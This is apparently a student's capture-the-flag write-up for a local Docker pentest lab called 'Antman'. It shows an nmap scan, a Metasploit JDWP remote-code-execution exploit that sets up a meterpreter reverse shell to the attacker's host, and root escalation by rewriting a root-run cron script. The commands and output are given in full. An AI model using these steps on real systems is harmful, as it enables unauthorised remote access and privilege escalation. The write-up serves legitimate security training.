

# Writeup – Antman

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We need to build up the container first. This can be done by going to the antman container directory and then using the command

**\$ sudo docker compose up -d**

After completion the container should be running and now we can get the ip address of the webserver.

To do this get out of the container's directory and go to the **file** directory. We use the script **./getcontainerip.sh <name of docker container>**

In our case **antman\_container** and we get the ip

Ip addr: **172.17.0.2**

## **TASK 1:**

**Perform a port scan on the target system. Scan for the 2000 most common ports, including a version scan. What service is running on TCP port 4141?**

To do this, follow the command

**nmap -topports 2000 -sV 172.17.0.2**

```
areeb@areeb-virtual-machine: ~/Desktop/Pentest/pentesting-thu-2022/containers/antman$ nmap --top-ports 2000 -sV 172.17.0.2
Starting Nmap 7.80 ( https://nmap.org ) at 2022-11-30 18:56 CET
Nmap scan report for 172.17.0.2
Host is up (0.00031s latency).
Not shown: 1996 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
4141/tcp  open  jdpw    Java Debug Wire Protocol (Reference Implementation) version 1.8 1.8.0_352
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)
8080/tcp  open  http    Apache Tomcat 8.5.16

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
```

By the result we can see that the open ports and the service running on those ports. By the looks of it, we would be needing **jdpw service** for the next task. A point to note that the service is running on **port 4141**

## TASK 2:

Compromise the system using the Metasploit module "java\_jdwp\_debugger". You can find the flag in the root directory of the server.

Start Metasploit and search for jdwp service by typing **search java jdwp** in the msf6 console  
There's only 1 Module that pops up with the id no 0

```
Metasploit documentation: https://docs.metasploit.com/
msf6 > search java jdwp

Matching Modules
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#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/multi/misc/java_jdwp_debugger    2010-03-12      good  Yes    Java Debug Wire Protocol Remote Code Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/misc/java_jdwp_debugger
```

As stated at the bottom we can use this module by the command **use exploit/multi/misc/java\_jdwp\_debugger** or

**use 0**

Once we are in we can use command **show options** to see the payload options, Module options

```
msf6 > use 0
[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_jdwp_debugger) > show options

Module options (exploit/multi/misc/java_jdwp_debugger):

  Name          Current Setting  Required  Description
  ----
  RESPONSE_TIMEOUT 10              yes       Number of seconds to wait for a server response
  RHOSTS          yes             yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
  -Metasploit
  RPORT          8000            yes       The target port (TCP)
  TMP_PATH       no              no        A directory where we can write files. Ensure there is a trailing slash

Payload options (linux/aarch64/meterpreter/reverse_tcp):

  Name  Current Setting  Required  Description
  ----
  LHOST 192.168.208.128 yes       The listen address (an interface may be specified)
  LPORT 4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0   Linux (Native Payload)
```

Now under Module options we set the parameters by using commands

**set RHOSTS: 172.17.0.2 (Target host)**

**set RPORT: 4141 (Target port service is running on)**

For payloads, we will use the default reverse\_tcp linux payload but still we can look for other payloads using **show payloads**. We still need to change the default payload to x64/x86 from aarch64

Under Payload options we select payload by using command

**set payload (linux/x64/meterpreter/reverse\_tcp)**

**set LHOST 172.17.0.1 (our docker 0 ip)**

**set LPORT 4444 (Listener port can be any open port )**

and you are good to go. Check if everything is correct by show options and the output would be something like this

```
msf6 exploit(multi/misc/java_jdwp_debugger) > show options

Module options (exploit/multi/misc/java_jdwp_debugger):

  Name      Current Setting  Required  Description
  ----      -
  RESPONSE_TIMEOUT  10              yes       Number of seconds to wait for a server response
  RHOSTS      172.17.0.2      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki
  RPORT      4141            yes       The target port (TCP)
  TMP_PATH    no              no        A directory where we can write files. Ensure there is a trailing slash

Payload options (linux/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     172.17.0.1      yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Linux (Native Payload)

View the full module info with the info, or info -d command.
```

Now just use commande **msf6> exploit**

After we execute, we immediately get a reverse shell, in which we execute `ls`. We then find the flag in directory **flag\_4\_antman.txt**

```
meterpreter > ls
Listing: /
=====

Mode                Size      Type    Last modified          Name
----                -
100755/rwxr-xr-x    0         fil     2022-11-30 18:51:25 +0100 .dockerenv
040755/rwxr-xr-x   4096      dir     2022-11-30 18:44:01 +0100 bin
040755/rwxr-xr-x   4096      dir     2018-04-24 10:34:22 +0200 boot
040755/rwxr-xr-x    340      dir     2022-11-30 18:51:27 +0100 dev
040755/rwxr-xr-x   4096      dir     2022-11-30 18:51:25 +0100 etc
100664/rw-rw-r--    25       fil     2022-10-14 14:52:20 +0200 flag_4_antman.txt
040755/rwxr-xr-x   4096      dir     2018-04-24 10:34:22 +0200 home
040755/rwxr-xr-x   4096      dir     2017-05-23 13:32:29 +0200 lib
040755/rwxr-xr-x   4096      dir     2022-10-19 21:28:39 +0200 lib64
040755/rwxr-xr-x   4096      dir     2022-10-19 21:28:01 +0200 media
040755/rwxr-xr-x   4096      dir     2022-10-19 21:28:01 +0200 mnt
040755/rwxr-xr-x   4096      dir     2022-11-30 18:48:04 +0100 opt
040555/r-xr-xr-x    0         dir     2022-11-30 18:51:27 +0100 proc
040700/rwx-----   4096      dir     2022-11-30 18:49:33 +0100 root
040755/rwxr-xr-x   4096      dir     2022-11-30 18:51:32 +0100 run
040755/rwxr-xr-x   4096      dir     2022-11-30 18:44:01 +0100 sbin
040755/rwxr-xr-x   4096      dir     2022-10-19 21:28:01 +0200 srv
100644/rw-r--r--   685      fil     2022-11-30 18:51:34 +0100 supervisord.log
100644/rw-r--r--    2         fil     2022-11-30 18:51:30 +0100 supervisord.pid
040555/r-xr-xr-x    0         dir     2022-11-30 18:51:27 +0100 sys
041777/rwxrwxrwx   4096      dir     2022-11-30 19:34:35 +0100 tmp
040755/rwxr-xr-x   4096      dir     2022-10-19 21:28:01 +0200 usr
040755/rwxr-xr-x   4096      dir     2022-11-30 18:42:42 +0100 var

meterpreter > cat flag_4_antman.txt
flag_k1ll1ng_bugs_1s_h4rdmeterpreter >
```

Flag

flag\_k1ll1ng\_bugs\_1s\_h4rd

### TASK 3:

The `/opt/` directory contains a way to escalate your privileges to "root". Can you find it? You can get a root flag in `"/root/flag.txt"`.

Looking around the directories I found an interesting directory **admin**

```
Listing: /opt
=====

Mode                Size  Type  Last modified          Name
----                -
040755/rwxr-xr-x    4096  dir   2022-11-30 18:48:38 +0100 admin
040755/rwxr-xr-x    4096  dir   2022-11-30 18:46:35 +0100 tomcat

meterpreter > 
```

There's a file **delete-logs.sh** which runs a script automatically via **cron job**. Reading closely we would find that the script is executed by root (has root permissions) every two minutes and then deletes the logs

```
Listing: /opt/admin
=====

Mode                Size  Type  Last modified          Name
----                -
100755/rwxr-xr-x     144  fil   2022-10-14 14:52:20 +0200 delete-logs.sh
040755/rwxr-xr-x    4096  dir   2022-11-30 18:48:13 +0100 logs

meterpreter > cat delete-logs.sh
#!/bin/bash

# Delete any file in the log directory
# This script is executed by root every 2 minutes (via cron job)

rm -rfv /opt/admin/logs/*
meterpreter > 
```

To get the flag in root directory, we overwrite the **delete-logs.sh** script with the following lines it with the following lines using a editor

```
#!/bin/bash
```

```
cat /root/flag.txt > /opt/admin/flag.txt
```

now using the cat command the contents of **flag.txt** in the root directory is copied into the file directory **/opt/admin/**

```
i#!/bin/bash

# Delete any file in the log directory
# This script is executed by root every 2 minutes (via cron job)

cat /root/flag.txt > /opt/admin/flag.txt
~
~
~
~
~
~
```

Navigate into **/opt/admin** and wait two minutes. The **flag.txt** is available with its contents as the script was executed

Use **cat flag.txt** to see the contents

```
meterpreter > ls
Listing: /opt/admin
=====

Mode                Size  Type  Last modified          Name
----                -
100755/rwxr-xr-x    160   fil   2022-11-30 21:00:17 +0100 delete-logs.sh
100644/rw-r--r--     27   fil   2022-11-30 21:04:01 +0100 flag.txt
040755/rwxr-xr-x   4096   dir   2022-11-30 18:48:13 +0100 logs

meterpreter > cat flag.txt
flag_g3t_r00t_or_d1e_tryingmeterpreter > |
```

Flag:

```
flag_g3t_r00t_or_d1e_trying
```